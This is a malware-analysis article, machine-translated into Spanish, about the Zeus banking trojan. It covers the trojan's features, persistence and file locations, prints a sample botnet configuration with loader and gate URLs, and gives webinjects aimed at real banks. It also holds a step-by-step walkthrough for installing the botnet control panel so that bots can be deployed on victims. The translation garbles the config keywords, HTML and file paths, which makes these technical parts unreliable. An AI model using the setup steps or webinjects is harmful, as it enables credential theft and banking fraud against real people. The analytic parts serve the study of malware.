Análisis de malware

Botnets desenterradas: el BOT de ZEUS

8 de julio de por Aditya Balapure

Zeus, también conocido como ZBot/WSNPoem, es famoso por robar información bancaria mediante el uso del hombre en el registro de pulsaciones de teclas del navegador y la captura de formularios. Como sugiere el término, man in the browser (MITB) es básicamente un caballo de Troya proxy que utiliza técnicas de intermediario para atacar a los usuarios. Ataca explotando vulnerabilidades en la seguridad del navegador para modificar páginas web y manipular transacciones monetarias cambiando o agregando detalles maliciosos. La peor parte es que ninguna forma de seguridad a nivel de aplicación o de capa de sesiones como SSL puede proteger tal forma de ataque. La mejor manera de protegerse contra estos es la verificación de transacciones fuera de banda. La captura de formularios es una técnica para capturar datos de formularios web en varios navegadores. Hace muy poco arrestaron a Happy Hacker; se le acusaba de ser el cerebro detrás del troyano bancario Zeus. Zeus viene como un conjunto de herramientas para construir y administrar una botnet. Tiene un panel de control que se utiliza para monitorear y actualizar parches a la botnet. También cuenta con una herramienta denominada constructora que permite la creación de ejecutables que se utilizan para infectar las computadoras de los usuarios. Zeus se presenta como un producto comercial para usuarios que pueden comprarlo en mercados clandestinos y configurar fácilmente su propia botnet. Se estima que costará alrededor de $700 más para las versiones avanzadas.

Características de Zeus

Algunas de las características que muestra esta botnet son:

  • Captura credenciales a través de HTTP, HTTPS, FTP, POP3
  • Roba certificados de infraestructura de clave pública X.509 del lado del cliente
  • Tiene un proxy SOCKS integrado
  • Roba/elimina cookies HTTP y flash
  • Captura capturas de pantalla y extrae HTML de los sitios de destino
  • Modifica el archivo de hosts locales.
  • Agrupa los sistemas de los usuarios infectados en diferentes botnets para distribuir el comando y el control.
  • Tiene capacidades de búsqueda que pueden usarse a través de un formulario web.
  • El archivo de configuración está cifrado.
  • Tiene una función importante para matar el sistema operativo.
  • Se pone en contacto con el servidor de comando y control para realizar tareas adicionales
  • Tiene una cadena de identificación de bot única
  • Envía mucha información al servidor CC, como la versión del bot, sistema operativo, hora local, ubicaciones geográficas, etc.
  • Configuración de Zeus

    Zeus tiene un archivo de configuración, generalmente con una extensión de archivo como .bin; tiene un archivo binario que contiene el troyano Zeus y una zona de colocación que es principalmente un archivo PHP. El kit de herramientas (Zeus Crimeware Toolkit) viene con un panel de control creado en PHP que se utiliza para monitorear la botnet y la información recopilada se almacena en una base de datos MySQL. Por lo tanto, una vez que todos los bots estén implementados, el panel de control podrá monitorearlos y administrarlos.

    Aquí hay algunas ubicaciones donde se pueden encontrar los distintos módulos de Zeus:

    Descripción del archivoC:WINDOWSsystem32ntos.exe binario troyanoC:WINDOWSsystem32wsnpoemaudio.dll Contiene los datos robadosC:WINDOWSsystem32wsnpoemvideo.dll Contiene la configuración cifradaC:WINDOWSsystem32oembios.exe binario troyanoC:WINDOWSsystem32sysproc64sysproc86.sys Contiene los datos robadosC:WINDOWSsystem32sysproc64sysproc32.sys Contiene la configuración cifradaC:WINDOWSsystem32twext.exe binario troyanoC:WINDOWSsystem32twain_32local.ds Contiene los datos robadosC:WINDOWSsystem32twain_32user.ds Contiene la configuración cifradaC:WINDOWSsystem32sdra64.exe binario troyanoC:WINDOWSsystem32lowseclocal.ds Contiene los datos robadosC:WINDOWSsystem32lowsecuser.ds Contiene la configuración cifrada

    Una vez que se ejecuta el bot, se copia en las ubicaciones mencionadas anteriormente con la descripción “troyano binario”. Para generar este proceso cada vez que se inicia, establece la ruta binaria del troyano en

    HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTwinlogonuserinit. Infecta winlogon.exe y svchost.exe y les añade código malicioso. Como se muestra arriba, el archivo local.ds/sysproc86.sys/audio.dll contiene los datos robados del usuario en forma de credenciales de usuario, información financiera de bancos, etc. El código malicioso que se agrega a svchost.exe es el responsable para comunicaciones de red y otras inyecciones en diversos procesos.

    Ajustes de configuración de Zeus

    Aquí está el archivo de configuración de Zeus:

    [plano]

    ;Hora de construcción: 11:35:57 24.03. GMT

    ;Versión: 2.1.0.1

    entrada “StaticConfig”

    ;botnet “btn1”

    temporizador_config 60 1

    registros_cronómetros 1 1

    estadísticas_temporizador

    url_config “http://localhost/config.bin”

    eliminar_certs 1

    desactivar_tcpserver 0

    clave_cifrado “contraseña”

    fin

    entrada “DynamicConfig”

    url_loader “http://localhost/botnet.exe”

    servidor_url “http://localhost/gate.php”

    file_webinjects “webinjects.txt”

    entrada “Configuraciones avanzadas”

    ;”http://dominioadv/cfg1.bin”

    fin

    entrada “Filtros web”

    “!*.microsoft.com/*”

    “!http://*myspace.com*”

    “https://www.gruposantander.es/*”

    “!http://*odnoklassniki.ru/*”

    “!http://vkontakte.ru/*”

    “@*/login.osmp.ru/*”

    “@*/atl.osmp.ru/*”

    fin

    entrada “WebDataFilters”

    ;”http://mail.rambler.ru/*” “contraseña;iniciar sesión”

    fin

    entrada “WebFakes”

    ;”http://www.google.com” “http://www.yahoo.com” “GP” “” “”

    fin

    fin

    [/plano]

    Hay dos tipos de configuración disponibles con el Zeus Bot:

    1. Configuración estática: la compila la propia herramienta de creación y contiene las instrucciones de ejecución del bot por primera vez. De forma predeterminada, está configurado para robar contraseñas, información financiera, registros de chat y sitios web, etc. Tenemos una URL importante en url_config que se utiliza durante la fase de inicio del bot. La configuración estática está codificada en el ejecutable del bot y también contiene configuraciones como el nombre de la botnet, opciones de tiempo para cargas/descargas y la URL para descargar el archivo de configuración.
    2. Configuración dinámica: se centra principalmente en la URL de destino y la técnica de destino. La configuración dinámica implica el descargador automático, inyecciones de páginas web, etc. El archivo webinjects es el archivo principal involucrado en la configuración dinámica de Zeus. La configuración dinámica también tiene una URL para descargar un ejecutable nuevo o de respaldo y un archivo de configuración. También tiene configuraciones para inyecciones de tiempo de ejecución para algunos de los parámetros HTTP, así como filtros para registros específicos. También tiene URL para recopilar números de autenticación de transacciones utilizados por los bancos para la autenticación en línea. También existe una configuración avanzada que puede usarse para insertar campos adicionales en las páginas web bancarias para extraer más información de la víctima.

      Algunos de los comandos se detallan a continuación:

  • url_server: ubicación del servidor CC
  • url_loader: ubicación de actualización para el bot
  • Filtros web: son filtros con patrones característicos; Cualquier dato enviado a estas URL se verifica en busca de firmas específicas como nombre de usuario, número de cuenta, contraseña, etc. Estos datos importantes se capturan y envían a los servidores CC.
  • AdvancedConfigs: URL para archivos de configuración actualizados
  • DNSMap: para manipular el archivo de hosts para detener el acceso a sitios de seguridad y redirigir URL a sitios web falsos.
  • Descifrado del archivo de configuración

    Los archivos de configuración están ocultos y también cifrados con cifrado RC4. Cada clave RC4 es específica de un bot y se almacena dentro del ejecutable cifrado.

    Inyecciones de páginas web

    Como se mencionó anteriormente, Zeus tiene la capacidad de inyectar dinámicamente campos de formulario en las páginas web de un sistema infectado. Los datos son interceptados entre las comunicaciones cliente-servidor y luego manipulados. Aquí hay un fragmento de código con la inyección:

    set_url http://www.xyzbank.com/login.html GP

    datos_antes

    nombre=”contraseña”*/tr

    fin_datos

    inyección_datos

    trtdPIN:/tdtdtipo de entrada=”text” nombre=”número de PIN” //td/tr

    fin_datos

    datos_después

    fin_datos

    Página web antes y después de la inyección.

    Descripción de parámetros:

    La capacidad de Zeus para tomar capturas de pantalla activas supera el uso de teclados virtuales en transacciones en línea. Las capturas de pantalla del escritorio están cronometradas según la experiencia del usuario al ingresar contraseñas usando el teclado virtual. Los informes de Fortiguard demuestran una captura exacta de la contraseña ingresada por la víctima.

    Aquí hay una pequeña parte del archivo webinjects predeterminado en Zeus:

    [plano]

    set_url */my.ebay.com/*CurrentPage=MyeBayPersonalInfo* GL

    datos_antes

    Dirección de correo electrónico registrado

    *img*

    fin_datos

    inyección_datos

    correo electrónico:

    fin_datos

    datos_después

    fin_datos

    set_url *.ebay.com/*eBayISAPI.dll?* GL

    datos_antes

    (a href=”http://feedback.ebay.com/ws/eBayISAPI.dll?ViewFeedback*”

    fin_datos

    inyección_datos

    Comentario:

    fin_datos

    datos_después

    /a

    fin_datos

    set_url https://www.us.hsbc.com/*GL

    datos_antes/pre

    data_enddata_injectdata_enddata_after

    pre

    fin_datos

    set_url https://www.e-gold.com/acct/li.asp GPL

    datos_antes

    correo electrónico:

    fin_datos

    inyección_datos

    fin_datos

    datos_después

    fin_datos

    set_url https://www.e-gold.com/acct/balance.asp* GPL

    datos_antes/pre

    formulario nombre=”fiat*/formulario”

    fin_datos

    inyección_datos

    fin_datos

    datos_después

    fin_datos

    set_url https://online.wellsfargo.com/das/cgi-bin/session.cgi* GL

    datos_antes

    divfinal_datos

    inyección_datos

    fin_datos

    datos_después

    fin_datos

    set_url https://www.wellsfargo.com/* G

    datos_antes

    spantipo de entrada=”contraseña” /

    fin_datos

    inyección_datos

    stronglabel for=”atmpin”PIN de cajero automático/label:/strong

    spaninput accesskey=”A” tabindex=”2″ tipo=”contraseña” maxlength=”14″ nombre=”USpass” size=”13″ //span

    fin_datos

    datos_después

    fin_datos

    [/plano]

    Técnicas de recolección de datos utilizadas por el bot

    El ZBot funciona descargando un archivo de configuración cifrado y almacenándolo en la ubicación marcada arriba. El troyano abre una conexión de puerta trasera para descargar/cargar desde el servidor de comando y control, como versiones más nuevas del archivo de configuración, enviar los datos robados a una ubicación específica como en el archivo de configuración, etc. Entonces, una vez que el bot comienza a funcionar, cualquier tipo de credencial o información bancaria es interceptada y cargada en la ubicación secreta. Utiliza mecanismos avanzados para capturar formularios que configuran páginas web y el usuario, sin saberlo, ingresa su información financiera, que nuevamente es capturada por el bot. También se sabe que Zeus roba datos del almacenamiento protegido de Windows, certificados digitales y capturas de pantalla activas de la computadora de la víctima.

    Instalación de Zeus

    NOTA: Todo este procedimiento que se muestra es sólo para fines educativos y el autor no será responsable de ningún daño causado por alguien que utilice esta herramienta.

    Entonces comenzamos configurando una cuenta en un alojamiento web y creando una base de datos Mysql, un nombre de usuario y una contraseña. Luego pasamos al archivo index.php en la ruta /install/index.php . Realizamos cambios menores en el código para proporcionar información como el nombre de usuario y la contraseña de Zeus, el host mysql, el nombre de usuario y la contraseña, y una clave de cripta de botnet. Aquí hay una captura de pantalla que muestra lo mismo:

    Archivo /install/index.php

    A continuación nos movemos al archivo global.php en la ruta /system/global.php . Nuevamente ponemos los mismos detalles que arriba, que también se muestran en el diagrama.

    Archivo /system/global.php

    Ahora que todo está configurado, podemos ejecutar nuestro archivo index.php en la ruta /install/index.php. Esto abre un menú de instalación y simplemente ingresamos las credenciales.

    Después de esto, simplemente podemos abrir el archivo cp.php en el directorio de inicio para tener la botnet en funcionamiento. Ahora también podemos configurar el bot en los sistemas víctimas.

    Aquí están las tablas MySQL que han sido configuradas por la instalación del bot Zeus.

    1. botnet_list: contiene la lista de bots y botnets.
    2. botnet_reports: contiene la lista de informes de botnets.
    3. ipv4toc: contiene la dirección IP para las asignaciones de países

    Funcionamiento del robot Zeus

    Once the clients are infected, they communicate with the command server through HTTP GET messages. This is mainly required to download the configuration file of the botnet on the victim system and then perform actions as per the settings of the configuration file. Once the bot communicates with the command server, it replies back with the encrypted configurations file, mainly config.bin. This encrypted file is decrypted at the client end by the bot (using its secret key), which then parses the configuration file. Once the configuration file is setup, the bot sends its gateway IP address (public IP address) to the command server. Once the communication is set up and the bot joins up the botnet, it starts posting up the victim’s private information on the assigned address from the configuration file. So all the financial information, credentials, and screenshots get uploaded to that secret address so they may then be used maliciously by the person running the botnet.

    Victim – Command Server Communication

    Reference Links

    https://en.wikipedia.org/wiki/Man-in-the-browser

    https://en.wikipedia.org/wiki/Zeus_(Trojan_horse)

    http://www.fortiguard.com/legacy/analysis/zeusanalysis.html

    https://zeustracker.abuse.ch/faq.php

    courses.isi.jhu.edu/malware/papers/ZEUS.pdf?

    http://www.f-secure.com/v-descs/trojan-spy_w32_zbot.shtml

    http://ishackers.blogspot.in//04/zeus-21o1-download-guide.html

    http://www.fortiguard.com/legacy/analysis/zeusanalysis.html

    http://www.openfire-security.net/files/papers/faheem/zeus.pptx

    http://www.kislaybhardwaj.com//10/tutorial-of-zeus-bot.html

    http://www.ncfta.ca/papers/On_the_Analysis_of_the_Zeus_Botnet_Crimeware.pdf